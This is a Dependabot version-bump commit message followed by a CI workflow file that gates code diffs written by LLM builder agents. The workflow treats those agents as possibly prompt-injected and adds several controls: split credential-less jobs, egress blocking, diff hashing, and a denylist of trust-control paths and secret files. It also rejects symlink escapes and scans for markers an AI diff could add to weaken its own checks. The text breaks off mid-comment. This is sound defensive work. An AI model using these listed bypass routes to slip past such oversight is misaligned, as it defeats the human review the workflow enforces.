Bumps the minor-and-patch group with 1 update: [step-security/harden-runner](https://github.com/step-security/harden-runner).
Updates `step-security/harden-runner` from 2.10.2 to 2.19.4
- [Release notes](https://github.com/step-security/harden-runner/releases)
- [Commits](0080882f6c...9af89fc715)
---
updated-dependencies:
- dependency-name: step-security/harden-runner
dependency-version: 2.19.4
dependency-type: direct:production
update-type: version-update:semver-minor
dependency-group: minor-and-patch
...
Signed-off-by: dependabot[bot] <support@github.com>
1291 lines
64 KiB
YAML
1291 lines
64 KiB
YAML
# R720 agent-team — split-job CI apply/verify workflow (design §3.3.2, §7.1 P3).
|
|
#
|
|
# DEPLOY-GATED PRE-DEPLOYMENT SCAFFOLDING. This file is authored as IaC only.
|
|
# It is NOT enabled, NOT provisioned, and NOT wired to any live org repo. Per
|
|
# the design (§3.3.2, §7.1 P3) it must clear BOTH `/sh-security-review` AND the
|
|
# mandatory GPT-4.1 cross-review before it is deployed (it is IaC/IAM +
|
|
# untrusted-input handling). Until then it lives here as a reviewable artifact.
|
|
#
|
|
# AUTH MODEL (LOCKED, P3-live): the privileged job authenticates via a GitHub
|
|
# App INSTALLATION TOKEN with `pull-requests: write` — there are ZERO cloud
|
|
# credentials and no cloud token-federation anywhere in this workflow. The
|
|
# required human-reviewer gate lives on the `agent-apply` GitHub Environment
|
|
# (configured at provisioning, not in YAML).
|
|
#
|
|
# Deployment target (later, after the gates): promote into
|
|
# Sea-Haven-Industries/.github as a reusable workflow (engineering-handbook
|
|
# cicd.md) and have the apply path call it. The filename stays kebab-case per
|
|
# the handbook. PROVISIONING (the ONLY remaining step to go live) creates the
|
|
# GitHub App + its installation, the `agent-apply` environment with a required
|
|
# reviewer + branch protection, then flips the draft-PR step's `if:` (see the
|
|
# provisioning runbook). Flipping live against a non-existent environment is an
|
|
# unprotected hole, so the flip is a deliberate provisioning action, not authored
|
|
# here.
|
|
#
|
|
# ─────────────────────────────────────────────────────────────────────────────
|
|
# TRUST BOUNDARY (design §3.3.2). The builder agents are semi-trusted: an LLM
|
|
# that read repo content can be wrong or prompt-injected, so the candidate diff
|
|
# is UNTRUSTED CODE. The five boundaries this workflow implements:
|
|
#
|
|
# 1. Split CI. The job that checks out + executes the patch (`build-test`)
|
|
# runs credential-less (`permissions: contents: read`, no secrets, no
|
|
# App token, no write token, egress-restricted). Every privileged action
|
|
# runs in a SEPARATE job (`gate-and-pr`) that NEVER checks out or runs
|
|
# patch-controlled code; it consumes the build/test report as DATA only.
|
|
# This is NOT `pull_request_target` with a head-ref checkout (pwn request).
|
|
# 2. Trust-control-surface denylist. `guard` hard-fails (CI-side, not only the
|
|
# box) any diff touching `.github/workflows/**`, IAM/policy IaC, branch
|
|
# protection / CODEOWNERS / Dependabot, or files outside the declared task
|
|
# scope. It canonicalizes paths, resolves symlinks, and rejects renames
|
|
# into denied paths — a path match cannot be bypassed by indirection.
|
|
# 3. Diff integrity, box → CI. CI re-hashes the candidate diff and verifies it
|
|
# equals the ledger-recorded hash BEFORE applying. Tamper/substitution
|
|
# fails the hash check.
|
|
# 4. Pure-code pass/fail gate. A deterministic gate reads the authenticated
|
|
# build/test conclusion keyed to (run id + diff hash). It never trusts a
|
|
# success/failure file the patch could have written. The verifier AGENT
|
|
# only reads failures to propose a fix; it cannot declare success.
|
|
# 5. Branch protection. The draft PR targets a protected branch; the
|
|
# locked-down checks are required; merge needs them green + the
|
|
# security-review + the Claude Code App review + human approval. The agent
|
|
# NEVER auto-merges (D2).
|
|
#
|
|
# All third-party actions are SHA-pinned (handbook Pinning Principle, §3.3.2).
|
|
# ─────────────────────────────────────────────────────────────────────────────
|
|
|
|
name: agent-team-apply-verify
|
|
|
|
# Run name surfaces the dispatching task's thread_id so the box-side dispatcher
|
|
# can correlate the triggered run back to its task via `gh run list --json name`
|
|
# (workflow inputs are NOT queryable; a workflow_dispatch run reports against the
|
|
# `main` ref, not the head branch — so the task_id in the run name is the
|
|
# correlation key). The `concurrency` group below already guarantees ONE in-flight
|
|
# run per task_id, so this name + the dispatched-at watermark match the run
|
|
# unambiguously even under many simultaneous task dispatches.
|
|
# P3-BOX-INTEGRATION (feat/agent-team-p3-box-integration): additive run-name only;
|
|
# no privilege/permission/trigger change. Flagged for the C1 re-run of
|
|
# /sh-security-review + GPT-4.1 cross-review on this trust-boundary workflow.
|
|
run-name: "agent-team-apply ${{ inputs.task_id }}"
|
|
|
|
# Manual / API trigger only. The trusted, separate apply path (which owns the
|
|
# GitHub App write token) invokes this with the candidate-diff
|
|
# artifact + the ledger-recorded hash + the declared scope. There is NO
|
|
# pull_request / pull_request_target trigger: the patch must never run in a
|
|
# context that carries write or secret scope (boundary 1).
|
|
on:
|
|
workflow_dispatch:
|
|
inputs:
|
|
task_id:
|
|
description: "Pipeline task thread_id (for provenance/audit)."
|
|
required: true
|
|
type: string
|
|
diff_artifact_name:
|
|
description: "Name of the uploaded candidate-diff artifact."
|
|
required: true
|
|
type: string
|
|
expected_diff_hash:
|
|
description: "Ledger-recorded sha256 of the candidate diff (boundary 3)."
|
|
required: true
|
|
type: string
|
|
declared_scope:
|
|
description: >-
|
|
Newline-separated list of glob paths the task is allowed to touch
|
|
(boundary 2). A diff that changes anything outside this set fails.
|
|
required: true
|
|
type: string
|
|
diff_b64:
|
|
description: >-
|
|
Base64 of candidate.diff — the diff CONTENT, carried in by the trusted
|
|
dispatcher (the box has no write token, D2). The materialize job
|
|
decodes it to an artifact and re-hashes it against expected_diff_hash;
|
|
it is UNTRUSTED DATA, never executed in a privileged context.
|
|
required: true
|
|
type: string
|
|
head_branch:
|
|
description: >-
|
|
The branch the trusted dispatcher already pushed with the diff applied.
|
|
The draft PR opens with this as `--head`. The box never pushes it; the
|
|
PR head and the verified diff are bound by expected_diff_hash.
|
|
required: true
|
|
type: string
|
|
|
|
# Workflow-level default: least privilege. Every job re-declares its own
|
|
# `permissions:` so the grant is explicit per job and the untrusted job can be
|
|
# audited at a glance.
|
|
permissions: {}
|
|
|
|
# One in-flight apply/verify per task; a re-dispatch cancels the stale run so a
|
|
# superseded diff cannot race a newer one.
|
|
concurrency:
|
|
group: agent-team-apply-verify-${{ inputs.task_id }}
|
|
cancel-in-progress: true
|
|
|
|
jobs:
|
|
# ───────────────────────────────────────────────────────────────────────────
|
|
# JOB 0 — materialize (§4.3 diff transport). Credential-less, no secrets, no
|
|
# write token. Decodes the base64 `diff_b64` dispatch input to candidate.diff,
|
|
# fail-closed re-hashes it against `expected_diff_hash`, and uploads it as the
|
|
# named artifact so guard + build-test can download it IN THIS RUN. This is how
|
|
# the read-only box's diff reaches CI without the box holding a write token
|
|
# (D2): the trusted dispatcher passes the bytes as an input; CI re-verifies the
|
|
# hash here AND again in guard. The diff is DATA — never applied/executed here.
|
|
# ───────────────────────────────────────────────────────────────────────────
|
|
materialize:
|
|
runs-on: ubuntu-latest
|
|
timeout-minutes: 5
|
|
permissions: {}
|
|
steps:
|
|
- name: Harden runner (block egress; no secrets present)
|
|
uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4
|
|
with:
|
|
egress-policy: block
|
|
allowed-endpoints: >
|
|
github.com:443
|
|
api.github.com:443
|
|
objects.githubusercontent.com:443
|
|
*.actions.githubusercontent.com:443
|
|
- name: Decode candidate diff from the dispatch input (untrusted DATA)
|
|
env:
|
|
# Untrusted: read from env, NEVER interpolated into the script body
|
|
# (CWE-94). base64 -d makes shell-meta in the diff inert here.
|
|
DIFF_B64: ${{ inputs.diff_b64 }}
|
|
EXPECTED_DIFF_HASH: ${{ inputs.expected_diff_hash }}
|
|
run: |
|
|
set -euo pipefail
|
|
mkdir -p ./_out
|
|
printf '%s' "$DIFF_B64" | base64 -d > ./_out/candidate.diff
|
|
# Fail-closed: non-empty + bounded size + sha256 must equal the
|
|
# ledger-recorded hash the dispatcher passed (guard re-verifies this
|
|
# independently). An empty expected hash never counts as a match.
|
|
test -s ./_out/candidate.diff
|
|
# Size bound (defense-in-depth; the dispatch input is already ~64 KB
|
|
# capped by GitHub, the dispatcher caps the diff at 40 KB): reject an
|
|
# oversized decoded diff rather than feeding it downstream.
|
|
bytes="$(wc -c < ./_out/candidate.diff)"
|
|
if [ "$bytes" -gt 49152 ]; then
|
|
echo "::error::candidate diff too large (${bytes} bytes)"; exit 1
|
|
fi
|
|
actual="$(sha256sum ./_out/candidate.diff | cut -d' ' -f1)"
|
|
if [ -z "$EXPECTED_DIFF_HASH" ] || [ "$actual" != "$EXPECTED_DIFF_HASH" ]; then
|
|
echo "::error::materialized diff hash ${actual} != expected '${EXPECTED_DIFF_HASH}'"
|
|
exit 1
|
|
fi
|
|
- name: Upload candidate diff as the named artifact (same-run only)
|
|
uses: actions/upload-artifact@b4b15b8c7c6ac21ea08fcf65892d2ee8f75cf882 # v4.4.3
|
|
with:
|
|
name: ${{ inputs.diff_artifact_name }}
|
|
path: ./_out/candidate.diff
|
|
if-no-files-found: error
|
|
retention-days: 1
|
|
|
|
# ───────────────────────────────────────────────────────────────────────────
|
|
# JOB 1 — guard (boundaries 2 + 3). Credential-less. Validates the candidate
|
|
# diff WITHOUT applying or executing it: re-hashes it (integrity) and runs the
|
|
# trust-control-surface denylist + declared-scope check. This job reads the
|
|
# diff as DATA only — it never `git apply`s it, so even a hostile diff cannot
|
|
# run code here. A failure is terminal: the diff is rejected and ALARM-worthy.
|
|
# ───────────────────────────────────────────────────────────────────────────
|
|
guard:
|
|
needs: materialize
|
|
runs-on: ubuntu-latest
|
|
timeout-minutes: 5
|
|
permissions:
|
|
contents: read
|
|
outputs:
|
|
diff_hash: ${{ steps.verify.outputs.diff_hash }}
|
|
steps:
|
|
- name: Harden runner (egress audit; no secrets present anyway)
|
|
uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4
|
|
with:
|
|
egress-policy: block
|
|
# Only what fetching the artifact + GitHub API needs. The job holds
|
|
# no secrets, so a successful exfil yields nothing of value (§3.3.2),
|
|
# but we deny egress as defense-in-depth.
|
|
allowed-endpoints: >
|
|
github.com:443
|
|
api.github.com:443
|
|
objects.githubusercontent.com:443
|
|
*.actions.githubusercontent.com:443
|
|
|
|
- name: Download candidate diff (data only; not applied)
|
|
uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
|
|
with:
|
|
name: ${{ inputs.diff_artifact_name }}
|
|
path: ./_incoming
|
|
# Pin the source run so an artifact can never be sourced from a
|
|
# DIFFERENT run (an attacker who can upload an artifact in some other
|
|
# run must not be able to substitute it here). This is the current
|
|
# run; download-artifact@v4 restricts to the same run by default, but
|
|
# pinning run-id makes that explicit and audit-visible. No
|
|
# github-token is set: this job is credential-less and same-run only.
|
|
run-id: ${{ github.run_id }}
|
|
|
|
- name: Verify diff integrity + trust-control denylist + scope
|
|
id: verify
|
|
env:
|
|
EXPECTED_DIFF_HASH: ${{ inputs.expected_diff_hash }}
|
|
DECLARED_SCOPE: ${{ inputs.declared_scope }}
|
|
DIFF_PATH: ./_incoming/candidate.diff
|
|
run: |
|
|
set -euo pipefail
|
|
# Self-contained, stdlib-only, type-hinted gate program embedded
|
|
# inline so this workflow has NO external script dependency. It is
|
|
# patch-independent: it parses the unified diff as TEXT and never
|
|
# executes it. It re-hashes the diff (boundary 3) and enforces the
|
|
# trust-control-surface denylist + declared scope (boundary 2),
|
|
# canonicalizing paths and rejecting renames into denied paths.
|
|
python3 - <<'PY'
|
|
from __future__ import annotations
|
|
|
|
import hashlib
|
|
import os
|
|
import posixpath
|
|
import re
|
|
import sys
|
|
|
|
# --- Boundary 2: the trust-control surface. Touching ANY of these is
|
|
# an auto-reject; such a diff is escalated to mandatory human + GPT
|
|
# cross-review, never auto-built (these are the mandatory-cross-review
|
|
# surface regardless). Matched against canonicalized POSIX paths. ---
|
|
# INJ-03: UNION SUPERSET, IDENTICAL across all three trust-control
|
|
# copies (this guard inline list, the post-build inline list below, and
|
|
# agent_team.ci_gate.DENYLIST_GLOBS). test_apply_verify_workflow_hardening
|
|
# asserts the three are byte-for-byte equal so drift fails CI. Edit all
|
|
# three together.
|
|
DENY_GLOBS: tuple[str, ...] = (
|
|
".github/workflows/**",
|
|
".github/actions/**",
|
|
".github/CODEOWNERS",
|
|
"**/CODEOWNERS",
|
|
"CODEOWNERS",
|
|
".github/dependabot.yml",
|
|
".github/dependabot.yaml",
|
|
".github/settings.yml",
|
|
"**/cdk.json",
|
|
"**/template.yml",
|
|
"**/template.yaml",
|
|
"**/samconfig.toml",
|
|
"**/*.tf",
|
|
"**/*-stack.ts",
|
|
"**/*_stack.py",
|
|
"**/iam/**",
|
|
"**/policies/**",
|
|
"**/*iam*",
|
|
"**/policy*.json",
|
|
"**/*policy*.json",
|
|
"**/*.pem",
|
|
"**/*.key",
|
|
".gitmodules",
|
|
"**/.gitmodules",
|
|
".husky/**",
|
|
"**/.husky/**",
|
|
".githooks/**",
|
|
"**/.githooks/**",
|
|
".gitattributes",
|
|
"**/.gitattributes",
|
|
".npmrc",
|
|
"**/.npmrc",
|
|
"**/__generated__/**",
|
|
"**/*.generated.*",
|
|
"**/dist/**",
|
|
"**/build/**",
|
|
"**/*.min.js",
|
|
)
|
|
|
|
def canonical(path: str) -> str:
|
|
"""Canonicalize a diff path to a normalized, anchored POSIX path.
|
|
|
|
Strips git's a//b/ prefixes, collapses ``.`` / ``..`` and
|
|
backslashes, and rejects absolute or parent-escaping paths so a
|
|
denied location cannot be reached by traversal/indirection.
|
|
"""
|
|
p = path.strip()
|
|
# git unified-diff prefixes.
|
|
for pre in ("a/", "b/"):
|
|
if p.startswith(pre):
|
|
p = p[len(pre):]
|
|
break
|
|
p = p.replace("\\", "/")
|
|
# normpath then re-POSIX it.
|
|
norm = posixpath.normpath(p)
|
|
if norm.startswith("/") or norm == ".." or norm.startswith("../"):
|
|
raise ValueError(f"path escapes repo root: {path!r}")
|
|
return norm
|
|
|
|
def parse_touched_paths(diff_text: str) -> set[str]:
|
|
"""Extract every path a unified diff adds/modifies/renames/deletes.
|
|
|
|
Reads ``+++ ``/``--- `` targets, ``diff --git a/x b/y`` headers, and
|
|
``rename from/to`` lines — so a rename INTO a denied path (or a new
|
|
file generated into one) is caught, not just in-place edits.
|
|
"""
|
|
touched: set[str] = set()
|
|
for line in diff_text.splitlines():
|
|
m = re.match(r"^diff --git (\S+) (\S+)$", line)
|
|
if m:
|
|
for raw in (m.group(1), m.group(2)):
|
|
touched.add(canonical(raw))
|
|
continue
|
|
m = re.match(r"^(?:\+\+\+|---) (.+)$", line)
|
|
if m:
|
|
tgt = m.group(1).strip()
|
|
if tgt == "/dev/null":
|
|
continue
|
|
# strip trailing tab-timestamp some diffs carry.
|
|
tgt = tgt.split("\t", 1)[0]
|
|
touched.add(canonical(tgt))
|
|
continue
|
|
m = re.match(r"^rename (?:from|to) (.+)$", line)
|
|
if m:
|
|
touched.add(canonical(m.group(1).strip()))
|
|
return touched
|
|
|
|
def find_symlink_additions(diff_text: str) -> list[tuple[str, str]]:
|
|
"""Return ``[(path, target)]`` for every symlink the diff creates.
|
|
|
|
A symlink shows as git file mode ``120000``; its link target is the
|
|
single added content line. Textual path canonicalization (``canonical``)
|
|
cannot see a symlink that redirects a later in-diff write into a denied
|
|
location (e.g. ``sub/link -> ../.github/workflows`` then a write to
|
|
``sub/link/evil.yml``). A candidate auto-build diff has no legitimate
|
|
reason to introduce a symlink, so guard treats ANY symlink addition as
|
|
a hard reject (boundary 2), closing the symlink-escape vector.
|
|
"""
|
|
additions: list[tuple[str, str]] = []
|
|
cur_path: str | None = None
|
|
pending = False
|
|
for line in diff_text.splitlines():
|
|
g = re.match(r"^diff --git (\S+) (\S+)$", line)
|
|
if g:
|
|
cur_path, pending = g.group(2), False
|
|
continue
|
|
p = re.match(r"^\+\+\+ (.+)$", line)
|
|
if p and p.group(1).strip() != "/dev/null":
|
|
cur_path = p.group(1).split("\t", 1)[0].strip()
|
|
continue
|
|
if re.match(r"^(?:new file mode|new mode) 120000\s*$", line):
|
|
pending = True
|
|
continue
|
|
if pending and line.startswith("+") and not line.startswith("+++"):
|
|
try:
|
|
path_c = canonical(cur_path) if cur_path else "<unknown>"
|
|
except ValueError:
|
|
# canonical() rejected the path (absolute/escaping); report
|
|
# it with only the git a//b/ PREFIX removed for the error
|
|
# message (re.sub, not str.lstrip which strips a char set).
|
|
path_c = re.sub(r"^[ab]/", "", cur_path or "<unknown>")
|
|
additions.append((path_c, line[1:].strip()))
|
|
pending = False
|
|
return additions
|
|
|
|
_GLOB_META = set("*?[]")
|
|
_GLOB_RE_CACHE: dict[str, "re.Pattern[str]"] = {}
|
|
|
|
def _glob_to_regex(glob: str) -> "re.Pattern[str]":
|
|
"""Compile a gitignore-style glob to a '/'-aware, case-insensitive regex.
|
|
|
|
Python's ``fnmatch`` does NOT implement recursive ``**`` (it treats it
|
|
as a single ``*`` that already spans ``/``), so ``**/template.yaml``
|
|
fails to match a repo-ROOT ``template.yaml`` — a denylist bypass for
|
|
exactly the IaC/secret families boundary 2 must catch. This translates
|
|
``**/`` to "any depth INCLUDING zero", ``**`` to ".*", ``*`` to a single
|
|
non-slash run, ``?`` to one non-slash char, and matches case-
|
|
insensitively (POSIX runners are case-sensitive, but a case variant of a
|
|
trust-control filename must not slip the gate).
|
|
"""
|
|
cached = _GLOB_RE_CACHE.get(glob)
|
|
if cached is not None:
|
|
return cached
|
|
out: list[str] = []
|
|
i, n = 0, len(glob)
|
|
while i < n:
|
|
if glob[i : i + 3] == "**/":
|
|
out.append(r"(?:.*/)?")
|
|
i += 3
|
|
elif glob[i : i + 2] == "**":
|
|
out.append(r".*")
|
|
i += 2
|
|
elif glob[i] == "*":
|
|
out.append(r"[^/]*")
|
|
i += 1
|
|
elif glob[i] == "?":
|
|
out.append(r"[^/]")
|
|
i += 1
|
|
else:
|
|
out.append(re.escape(glob[i]))
|
|
i += 1
|
|
pat = re.compile("^" + "".join(out) + "$", re.IGNORECASE)
|
|
_GLOB_RE_CACHE[glob] = pat
|
|
return pat
|
|
|
|
def denied(path: str) -> bool:
|
|
"""True if ``path`` is on the trust-control denylist (recursive, case-insensitive)."""
|
|
return any(_glob_to_regex(g).match(path) for g in DENY_GLOBS)
|
|
|
|
def _scope_prefix(entry: str) -> str | None:
|
|
"""Reduce a canonicalized scope entry to a concrete dir/file prefix.
|
|
|
|
Declared scope is *confinement*, not a pattern that may widen coverage.
|
|
``fnmatch``-ing scope let a single ``**`` (or ``*``) entry match the
|
|
whole tree, collapsing boundary 2b to a no-op. Instead we take the
|
|
leading path segments up to the first glob metacharacter and prefix
|
|
-match against them (mirrors the box-side ``_in_scope``). A scope that
|
|
begins with a metacharacter reduces to the empty (repo-root) prefix and
|
|
is dropped, so it can never widen to everything.
|
|
"""
|
|
keep: list[str] = []
|
|
for part in entry.split("/"):
|
|
if any(c in _GLOB_META for c in part):
|
|
break
|
|
keep.append(part)
|
|
prefix = "/".join(keep)
|
|
return prefix or None
|
|
|
|
def safe_scope(scope: list[str]) -> list[str]:
|
|
"""Canonicalize scope into concrete path prefixes; drop escaping/empty.
|
|
|
|
An absolute or parent-escaping entry is discarded (canonical raises),
|
|
and a glob that reduces to the repo root is dropped, so a malformed or
|
|
over-broad scope can only SHRINK what is allowed, never widen it.
|
|
"""
|
|
safe: list[str] = []
|
|
for g in scope:
|
|
try:
|
|
canon = canonical(g)
|
|
except ValueError:
|
|
continue
|
|
prefix = _scope_prefix(canon)
|
|
if prefix is not None and prefix not in safe:
|
|
safe.append(prefix)
|
|
return safe
|
|
|
|
def in_scope(path: str, scope: list[str]) -> bool:
|
|
"""True if ``path`` is at or under one of the declared scope prefixes."""
|
|
return any(path == entry or path.startswith(entry + "/") for entry in scope)
|
|
|
|
def main() -> int:
|
|
diff_path = os.environ["DIFF_PATH"]
|
|
expected = os.environ["EXPECTED_DIFF_HASH"].strip().lower()
|
|
scope = [s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()]
|
|
|
|
# FAIL-CLOSED on an empty/missing expected hash BEFORE comparing.
|
|
# The recomputed `actual` is always a real sha256, so an empty
|
|
# `expected` already mismatches and fails — but an explicit guard
|
|
# makes the empty == empty invariant impossible to regress (e.g. if
|
|
# the comparison is ever refactored) and gives a clearer ALARM.
|
|
if not expected:
|
|
print("::error::empty/missing expected diff hash; refusing to bind (fail-closed)")
|
|
return 2
|
|
|
|
with open(diff_path, "rb") as fh:
|
|
raw = fh.read()
|
|
actual = hashlib.sha256(raw).hexdigest()
|
|
|
|
# Boundary 3: integrity. A tampered/substituted diff fails here.
|
|
if actual != expected:
|
|
print(f"::error::diff hash mismatch: expected={expected} actual={actual}")
|
|
return 2
|
|
|
|
# Fail CLOSED on a non-UTF-8 diff rather than silently replacing bytes
|
|
# (errors='replace' could let a homoglyph/encoding trick evade the path
|
|
# match). A legitimate diff over source is valid UTF-8.
|
|
try:
|
|
text = raw.decode("utf-8")
|
|
except UnicodeDecodeError as exc:
|
|
print(f"::error::diff is not valid UTF-8 ({exc}); refusing to parse")
|
|
return 8
|
|
|
|
touched = parse_touched_paths(text)
|
|
if not touched:
|
|
print("::error::no paths parsed from diff; refusing empty/garbled diff")
|
|
return 3
|
|
|
|
# Boundary 2a: trust-control denylist (CI-side HARD FAIL).
|
|
hits = sorted(p for p in touched if denied(p))
|
|
if hits:
|
|
for h in hits:
|
|
print(f"::error::trust-control-surface violation: {h}")
|
|
print("::error::diff touches the trust-control surface; escalate to human + GPT cross-review")
|
|
return 4
|
|
|
|
# Boundary 2a': symlink escape. A symlink can redirect a later in-diff
|
|
# write into a denied path that textual matching cannot see, so any
|
|
# symlink addition is rejected outright.
|
|
symlinks = find_symlink_additions(text)
|
|
if symlinks:
|
|
for path, target in symlinks:
|
|
print(f"::error::diff introduces a symlink ({path} -> {target}); symlinks can redirect writes into denied paths and are not allowed in an auto-built diff")
|
|
print("::error::symlink in candidate diff; escalate to human + GPT cross-review")
|
|
return 7
|
|
|
|
# Boundary 2b: declared-scope enforcement.
|
|
if not scope:
|
|
print("::error::no declared scope provided; refusing unscoped diff")
|
|
return 5
|
|
scope = safe_scope(scope)
|
|
if not scope:
|
|
print("::error::declared scope has no valid (non-escaping) entries; refusing diff")
|
|
return 5
|
|
out_of_scope = sorted(p for p in touched if not in_scope(p, scope))
|
|
if out_of_scope:
|
|
for p in out_of_scope:
|
|
print(f"::error::out-of-declared-scope path: {p}")
|
|
return 6
|
|
|
|
gh_out = os.environ.get("GITHUB_OUTPUT")
|
|
if gh_out:
|
|
with open(gh_out, "a", encoding="utf-8") as fh:
|
|
fh.write(f"diff_hash={actual}\n")
|
|
print(f"diff_hash={actual}")
|
|
print(f"validated {len(touched)} path(s); all in-scope, none on the trust-control surface")
|
|
return 0
|
|
|
|
sys.exit(main())
|
|
PY
|
|
|
|
- name: Gate-weakening check (§4.5; a diff cannot disable its own checks)
|
|
env:
|
|
DIFF_PATH: ./_incoming/candidate.diff
|
|
run: |
|
|
set -euo pipefail
|
|
# SECURITY (§4.5): enforce gate-weakening on the LIVE PR-opening path,
|
|
# not only box-side. A diff that ADDS a lint/type/coverage/security
|
|
# suppression or a test skip/xfail could make build-test pass falsely;
|
|
# such a diff is escalated to a human, never auto-built. Mirrors
|
|
# agent_team.ci_gate._GATE_WEAKENING_MARKERS. Reads the diff as DATA.
|
|
python3 - <<'PY'
|
|
import os
|
|
import re
|
|
import sys
|
|
|
|
markers = (
|
|
"noqa",
|
|
"type: ignore",
|
|
"type:ignore",
|
|
"pragma: no cover",
|
|
"pragma: no-cover",
|
|
"nosec",
|
|
"nosemgrep",
|
|
"--no-verify",
|
|
)
|
|
skip_re = re.compile(
|
|
r"@(?:pytest\.mark\.(?:skip|xfail)|unittest\.skip\w*)\b"
|
|
r"|\bpytest\.(?:skip|xfail)\s*\("
|
|
r"|\.skipTest\s*\("
|
|
)
|
|
text = open(os.environ["DIFF_PATH"], encoding="utf-8", errors="replace").read()
|
|
viol = []
|
|
for line in text.splitlines():
|
|
if line.startswith("+") and not line.startswith("+++"):
|
|
content = line[1:]
|
|
low = content.lower()
|
|
if any(m in low for m in markers) or skip_re.search(content):
|
|
viol.append(content.strip()[:120])
|
|
if viol:
|
|
print("::error::gate-weakening: a diff cannot add suppressions/skips that disable its own checks")
|
|
for v in viol[:20]:
|
|
print(f" + {v}")
|
|
sys.exit(1)
|
|
print("no gate-weakening markers in the diff")
|
|
PY
|
|
|
|
# ───────────────────────────────────────────────────────────────────────────
|
|
# JOB 2 — build-test (boundary 1). UNTRUSTED execution. This is the ONLY job
|
|
# that applies + runs the patch. It is credential-less: contents:read only, no
|
|
# secrets, no App token, no write token, egress blocked. There is nothing here to
|
|
# steal and nothing to assume. It writes a report artifact consumed by the
|
|
# privileged gate as DATA — that report is NOT authoritative (boundary 4).
|
|
# Depends on `guard` so a denied/tampered diff never reaches execution.
|
|
# ───────────────────────────────────────────────────────────────────────────
|
|
build-test:
|
|
needs: guard
|
|
runs-on: ubuntu-latest
|
|
timeout-minutes: 20
|
|
permissions:
|
|
contents: read
|
|
steps:
|
|
- name: Harden runner (block egress — untrusted code runs here)
|
|
uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4
|
|
with:
|
|
# Block, not audit: this is where untrusted patch code executes. A
|
|
# narrow allowlist for dependency resolution only; everything else is
|
|
# denied so a prompt-injected patch cannot phone home.
|
|
# DEPLOY: this allowlist is GitHub + PyPI only. Before enabling this
|
|
# workflow for a repo, replace/extend it with EXACTLY that repo's
|
|
# package registries (npm, crates, Go proxy, ...) and nothing more —
|
|
# an over-broad allowlist weakens the egress boundary.
|
|
egress-policy: block
|
|
allowed-endpoints: >
|
|
github.com:443
|
|
api.github.com:443
|
|
objects.githubusercontent.com:443
|
|
codeload.github.com:443
|
|
pypi.org:443
|
|
files.pythonhosted.org:443
|
|
|
|
- name: Checkout base repo (clean ref; patch applied on top after)
|
|
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
|
|
with:
|
|
# Checkout carries NO token into the working tree usable for writes —
|
|
# this job's permissions are contents:read. persist-credentials:false
|
|
# guarantees the patch cannot reuse the checkout token.
|
|
persist-credentials: false
|
|
|
|
- name: Re-download candidate diff (re-validated below)
|
|
uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
|
|
with:
|
|
name: ${{ inputs.diff_artifact_name }}
|
|
path: ./_incoming
|
|
# Same-run pin as the guard job: the bytes applied here must be the
|
|
# bytes uploaded in THIS run, not an artifact substituted from another
|
|
# run. The pre-apply hash re-check below is the second layer.
|
|
run-id: ${{ github.run_id }}
|
|
|
|
- name: Re-verify diff hash before apply (defense-in-depth)
|
|
env:
|
|
EXPECTED_DIFF_HASH: ${{ needs.guard.outputs.diff_hash }}
|
|
DIFF_PATH: ./_incoming/candidate.diff
|
|
run: |
|
|
set -euo pipefail
|
|
# Independently confirm the bytes match the hash `guard` blessed, so a
|
|
# swapped artifact between jobs cannot slip an unvetted diff into the
|
|
# apply step.
|
|
python3 - <<'PY'
|
|
from __future__ import annotations
|
|
|
|
import hashlib
|
|
import os
|
|
import sys
|
|
|
|
def main() -> int:
|
|
expected = os.environ["EXPECTED_DIFF_HASH"].strip().lower()
|
|
with open(os.environ["DIFF_PATH"], "rb") as fh:
|
|
actual = hashlib.sha256(fh.read()).hexdigest()
|
|
if actual != expected:
|
|
print(f"::error::pre-apply hash mismatch: expected={expected} actual={actual}")
|
|
return 1
|
|
print(f"diff hash confirmed: {actual}")
|
|
return 0
|
|
|
|
sys.exit(main())
|
|
PY
|
|
|
|
- name: Apply candidate diff (UNTRUSTED — credential-less sandbox)
|
|
run: |
|
|
set -euo pipefail
|
|
# --check first so a malformed diff fails cleanly; then apply. The
|
|
# working tree has no write credential, so applying + running it can
|
|
# touch only this ephemeral runner.
|
|
git apply --check ./_incoming/candidate.diff
|
|
git apply ./_incoming/candidate.diff
|
|
# Commit the patched tree to a throwaway local commit so the working
|
|
# tree is CLEAN before the build runs. This is the baseline the
|
|
# post-build denied-path check diffs against: the guard job already
|
|
# vetted the candidate diff's paths, so by committing it we isolate
|
|
# whatever the BUILD HOOK itself writes (a malicious setup.py /
|
|
# conftest / build script that drops a file into a denied path). Local
|
|
# commit only — this job has no write credential, nothing is pushed.
|
|
git config user.email "agent-apply@local.invalid"
|
|
git config user.name "agent-apply build sandbox"
|
|
git add -A
|
|
git commit --quiet --no-verify -m "candidate diff (sandbox baseline)" || true
|
|
|
|
- name: Set up Python
|
|
uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0
|
|
with:
|
|
python-version: "3.12"
|
|
|
|
- name: Install + build + test (untrusted; exit code IS authoritative)
|
|
id: run
|
|
run: |
|
|
set -euo pipefail
|
|
# Build/test for the narrowest task class (dep bump / single-file fix).
|
|
# SECURITY (boundary 4): this step's EXIT CODE is the authoritative
|
|
# build-test conclusion the pure-code gate keys on
|
|
# (needs.build-test.result). It must therefore FAIL on a red build/test
|
|
# — a previous `|| echo` swallowed ruff/pytest failures, which (now that
|
|
# the apply path is flipped live) would open draft PRs on red builds.
|
|
# The tool installs are best-effort (|| true), but ruff + pytest run
|
|
# AUTHORITATIVELY under `set -e` so a real failure fails the job.
|
|
#
|
|
# PER-TARGET (Sea-Haven-Industries/orchestrator): the AUTHORITATIVE test
|
|
# suite for this target is the self-contained, hermetic `agent-team/`
|
|
# subproject — the repo's own `ci / subproject-tests` runs exactly this,
|
|
# and the ROOT suite is deliberately NOT used (it needs live
|
|
# ANTHROPIC/COMPOSIO keys, so it is collect-only in CI). Multi-target
|
|
# support = wire each target's command at provisioning (this command is
|
|
